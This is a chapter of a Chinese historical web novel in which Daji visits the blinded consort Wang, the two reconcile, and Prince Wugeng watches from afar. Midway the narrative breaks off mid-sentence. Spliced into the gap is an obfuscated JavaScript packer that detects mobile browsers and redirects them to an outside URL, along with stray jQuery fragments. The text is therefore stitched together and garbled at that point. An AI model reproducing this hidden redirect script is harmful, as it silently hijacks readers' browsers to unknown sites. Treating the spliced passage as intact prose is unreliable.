深宫寒夜的和解与诀别
第二日晚膳过后,妲己照旧寻了个身子乏累的由头,避开了帝辛。巧的是,那用来处置王氏的铜柱即将铸成,帝辛一心急着去检验进度,全然没留意她的动向。妲己趁这空当,悄悄带着印儿往地坤宫去了。
一路上,妲己始终沉默着,眉眼间凝着一层化不开的沉郁。印儿也识趣地静静跟着,不敢多问,只当她是终于要去见王氏,心里难免烦乱纠结。可印儿不知道,妲己心里盘算的,还有别的事。自痊愈后,这是她第一次见王氏,而且是见被剜去双眼、囚禁在冷宫里的王氏,要说心里不踏实,那是必然的。但真正让她出神的,却不是对王氏的恐惧,而是一堆杂乱无章的顾虑。原本她还想带着金花一同来,多个人多双眼睛,也好帮着察言观色、旁敲侧击,可转念一想,为了让印儿安心,还是暂时按下了这个念头。如今身边只剩印儿,想要从王氏口中套出实情,让她把勾结之人和盘托出,怕是难了。若是王氏不肯说,自己要除去身边那些不可靠的人,就只能再另寻机会了。
不多时,两人便到了地坤宫。宫外的守卫和前日一样,里三层外三层地守着,个个神色凝重。众人见妲己来了,都不约而同地心头一紧,只当她是来向王氏兴师问罪的。毕竟帝辛之前特意吩咐过,要好生看管王氏,不许她就这么轻易丢了性命,可谁都看得出来,大王对王氏恨之入骨,如今妲己来了,若是气急攻心,失控要弄死王氏,他们这些做守卫的,可就左右为难了。
侍卫们相互递了个眼神,发现彼此都是同样的顾虑,愈发手足无措起来,连上前行礼问安的动作,都慢了半拍。妲己见他们这副模样,心里瞬间明白了大半:帝辛既然狠心挖了王氏的双眼,却又巴巴地留着她的性命,一边还急着让人铸造铜柱,想来是要用车裂之刑,烙烂她那双作恶的手,绝不会让她就这么痛痛快快地死了。想通这一点,她不由得轻轻笑了笑,开口问道:“你们这十二个人,就没日没夜地都在外头守着?”
“回娘娘,奴才们原本分作两班值守。”回话的还是前日夜里那个侍卫头领,他躬身行礼,语气恭敬,“白日里另有十二人看守,到了夜里才换我们过来,每日卯正和酉正的时候交接。”
妲己抬眼瞥了他一眼,此时已是戌时,想来他们已经交接过班次了。她想起这些人是怕担责任,才这般紧张,便又放缓了语气,微笑着问道:“我今日要进去看看她。只是听闻里头的情形颇为凄惨,我又怕这罪妇不知悔改,再做出些惹大王生气的事来。不知殿内是否也安排了侍卫看守?”
那侍卫头领见妲己冲自己笑,一双眉眼温柔得像是要滴出水来,早已魂不守舍。听到她这话里带着几分害怕,更是忙不迭地应道:“娘娘放心,奴才这就引您进去!”说着,便殷勤地在前头带路,引着妲己和印儿往殿内走。
两人跟着进了殿,才发现殿内竟然空无一人看守。原来起初是安排了人的,可自从王氏被剜去双眼后,便日夜不停地啼哭,那哭声凄厉又渗人,听得人毛骨悚然,谁也不敢在殿内多待。哪怕是寒冬腊月,侍卫们也宁愿在外头吹冷风,也不愿进去看那瘆人的场面。
起初,众人还怕王氏会咬舌自尽,特意在她嘴里塞满了棉布,又用布条把她的嘴巴捆得严严实实。这样一来,她不仅不能咬舌,连脑袋都动弹不得,想撞墙自尽都做不到。可慢慢的,众人发现王氏虽然哭个不停,但送去的饭食,她倒都能吃下去一些,看样子是不想就这么死了。侍卫们的防备也就渐渐松懈了,不仅不再堵她的嘴、捆她的头,连殿内的看守也撤了,反正也没人敢靠近她。
地坤宫的正殿空荡荡的,一盏灯都没有点,只有西北方的柱子边,横七竖八地放着几个炭盆。微弱的火光跳跃着,映得殿内光影斑驳。远远地,就能看到王氏头颅上那两个黑黢黢的空洞,她那张毫无血色的脸,在炭火的映照下,显得愈发可怖。妲己虽然早就做好了心理准备,可亲眼见到这般场景时,还是忍不住打了个激灵,浑身泛起一阵寒意。她也说不清,这寒意是因为地坤宫太冷,还是因为自己的心,也跟着沉到了冰窖里。
想起昨日武庚也来这里探望过王氏,见到这般惨状,他恐怕要恨极了帝辛吧?妲己心里不由得泛起一丝疑惑:帝辛究竟打的什么主意?他似乎完全不担心武庚会因此记恨他,不怕父子失和,最终反目成仇。
那侍卫头领顺着妲己的目光望去,余光瞥见她打了个寒战,只当她是被王氏的惨状吓到了。一股莫名的勇气陡然从心底升起,竟让他生出了几分英雄救美的豪情。他心里暗自高兴,觉得自己运气真好,昨日武庚来的时候,王氏还是被堵着嘴、捆着头的模样,没让太子瞧见这等凄惨场面;今日美人来,偏偏胆子小,还需要自己陪着。接二连三的“好事”都被自己赶上了,若是能讨得美人欢心,说不定能有什么好处。
想起日前武庚来这里的情形,那头领心里又不免虚了一下。若是太子追问起王氏如今的模样,他就把责任都推到白班侍卫的头上,料想武庚顾及帝辛的颜面,不会过分追究。就算真的追究起来,帝辛之前几次来探望,见到王氏这般受辱,也没说过一句反对的话,好歹算是默许了。就算武庚是太子,也不能把他们这些奉命行事的人怎么样。
正胡思乱想着,他忽然惊觉妲己已经迈开脚步,慢慢向王氏走去。他也顾不得再多想,连忙鼓足勇气跟了上去,还刻意有意无意地挡在妲己身前,仿佛那个被五花大绑、连眼睛都没有的王氏,能做出什么惊天动地的事来一般,谨慎得有些过分,殷勤得有些刻意。
此时的妲己,却早已稳住了心神。她一步步走上前,定定地看着王氏。王氏看不见,只能凭着脚步声分辨来人,听这脚步声既不似武庚的沉稳,也不似帝辛的威严,便微微侧过头,仔细地听着,没有立刻开口询问。
妲己张了张嘴,想要说些什么,却发现自己竟然一句话也说不出来。对王氏的怜悯和同情,不仅驱散了心底的恐惧,连之前积攒的怨恨,也消散了大半。原本那颗要兴师问罪的心,早已没了踪影——虽然她还是想让王氏把事情交代清楚,可话到嘴边,却不知道该从哪里问起。
“娘娘要是有什么要问的,需要奴才吩咐人去准备刑具吗?”一旁的侍卫头领见妲己半天不说话,连忙上前献殷勤。
“娘娘?”王氏忽然冷笑一声,声音沙哑又凄厉,“来的是哪位夫人,还是那个受宠的有苏氏?”
“大胆!竟敢对娘娘无礼!”侍卫头领生怕妲己不高兴,不等王氏把话说完,就慌忙呵斥。
“等等。”妲己轻轻摆了摆手,示意那头领不要说话。头领连忙低下头,侍立在一旁,眼睛一会儿盯着王氏,一会儿又偷偷瞄着妲己。既贪恋她的美色,想趁着微弱的火光多瞧几眼,又怕她随时会因为王氏的话而惊惧愤怒,时刻准备着上前应对。
妲己的面色依旧淡淡的,心里却翻江倒海般感慨。她寻思了良久,还是不知道该如何开口,蓦地轻轻叹了一口气。这声叹息很轻,却在寂静的大殿里格外清晰。
听到这声叹息,王氏的心猛地一凛。虽然她和妲己没怎么正经交流过,但妲己的声音和容貌,早就被她牢牢地记在心里。仅仅是这么一声轻轻的叹息,她就立刻分辨出了来人是谁。妲己叹气之后,便又陷入了沉默,王氏料想她心里也颇多感慨,一时间,自己的心情也变得愈发复杂,不知道该说些什么才好。
良久,王氏也跟着轻轻叹了口气。心里一番挣扎过后,反倒骤然明朗了起来。她朝着叹息声传来的方向,幽幽地说道:“叫其他人都出去,我有话跟你说。”
此时此刻,两人早已心照不宣。对彼此的怨恨,被一种莫名的情绪冲得越来越淡。妲己便转头示意印儿和那侍卫头领出去。印儿听到妲己的叹息声,心里就已经明白了她的心思,不免更加感慨造物弄人。看着王氏那剜去双眼的惨状
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028941|194484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,再想起妲己方才的叹息,她忽然觉得,在这深宫里,就算是活着,也都是不得安生的,这般煎熬,倒真不如死了痛快。所以,当妲己吩咐她出去时,她没有丝毫犹豫,恭敬地应了一声,便转身退了出去。
那侍卫头领还想留在原地讨巧奉承妲己,可连印儿都退出去了,他若是再不知分寸地留下,未免太过失礼。无奈之下,只能满心不情愿地跟着退了出去,临走时还不忘回头多看了妲己两眼。
“人都走了。你想说什么?”妲己回头确认殿内只剩她们两人,才又转脸看向王氏。可这一看,还是忍不住心头一紧,哪怕方才已经看了许久,乍一扭头瞧见那两个黑黢黢的空洞,依旧觉得胆战心惊。但只是一瞬间,那些怜悯和同情就再次占据了上风,将恐惧死死地压了下去。
“你想听什么?”王氏反问道,声音里没了之前的戾气,只剩下无尽的疲惫。
妲己愣愣地看着王氏,过了好一会儿,才轻轻摇了摇头,声音带着一丝茫然:“本来有很多话想问,可现在,我竟不知道该从哪里问起了。起初,我只是恨你,一心想逼着大王除掉你。可如今……我连自己是怎么想的都不知道了。”
“呆子。”王氏轻轻吐出两个字。
“嗯?”妲己没料到王氏会突然这么说,当下愣了一下。可略一思忖,便明白了她的意思,苦笑着说道:“我说出来,你恐怕也不信。我竟然……有些后悔了。”
“所以说你是呆子。”王氏听到她语气里的苦笑,又忍不住叹了口气,“你这样心软,让我怎么能死得甘心?经此一事,你若是真能狠下心来,我对庚儿的将来,也能放心些。好歹他是拼了自己的性命救你的,看你之前对他的态度,也不是那种会轻易害他的人。你们日后在暗地里相互扶持,也能多一分安全。”
她顿了顿,语气变得愈发郑重:“如今你身边那些人,我不说,你心里也该知道一些。若是不狠心把他们都除去,迟早有一天,你会丧命在他们手里,甚至还会连累庚儿。”
妲己从未想过,王氏竟然是这样爽利通透的人。她忽然觉得,自己从前或许真的错了。王氏所做的一切,都是为了她的儿子,并非毫无道理。这么一想,她心里愈发局促起来。她哪里知道,这不过是将死之人,把一切都看开了,才说出这些肺腑之言。正如后人所说,人之将死,其言也善。
王氏听不见妲己的回应,只当她还在纠结,对铲除身边的异己仍旧犹豫不决。于是,她不再犹豫,一股脑地将自己从前做过的事、这些年在宫里知道的秘密,都撮其要点、删其繁杂,尽可能清晰地告诉了妲己。她还特意说起,当日妲己从摘星楼上掉下来时,是武庚用自己的双臂硬生生接住了她,双臂几乎被砸得残废。
这一件件事,对妲己而言,都是巨大的冲击。她站在原地,愣了许久,才慢慢平复下来。她冲着王氏的方向,轻轻笑了笑,郑重地施了一礼,以示感谢。王氏虽然看不见,但心里却愈发清明,又不免后悔自己当初太过关心则乱,非要置妲己于死地不可,反而给了帝辛抓住把柄的机会,让他找到了发泄的契机。
两人就这样交谈了许久,直到妲己觉得夜色已深,才起身拜别王氏。刚走出殿门,就见印儿快步迎了上来,低声告诉她,她和王氏已经谈了将近一个半时辰。那侍卫头领见妲己要走,不知从哪里找来了一盏灯笼,殷勤地在前头照着路,一路送她们回去,这里便不再细说。
远处的阴影里,武庚静静地站着,目光一如从前看她降服猛虎时那般专注,久久地凝视着妲己的身影。过了许久,他才轻轻叹了口气,声音里满是说不出的苦楚。
“太子,今日还要再进去看看娘娘吗?”随从小心翼翼地问道。
“去。”武庚的声音沙哑,带着一丝决绝,“只怕今日之后,就再也见不到了。”说着,他蓦地狠狠攥紧了拳头,指节因为用力而泛白,眼底翻涌着隐忍的痛苦与不甘。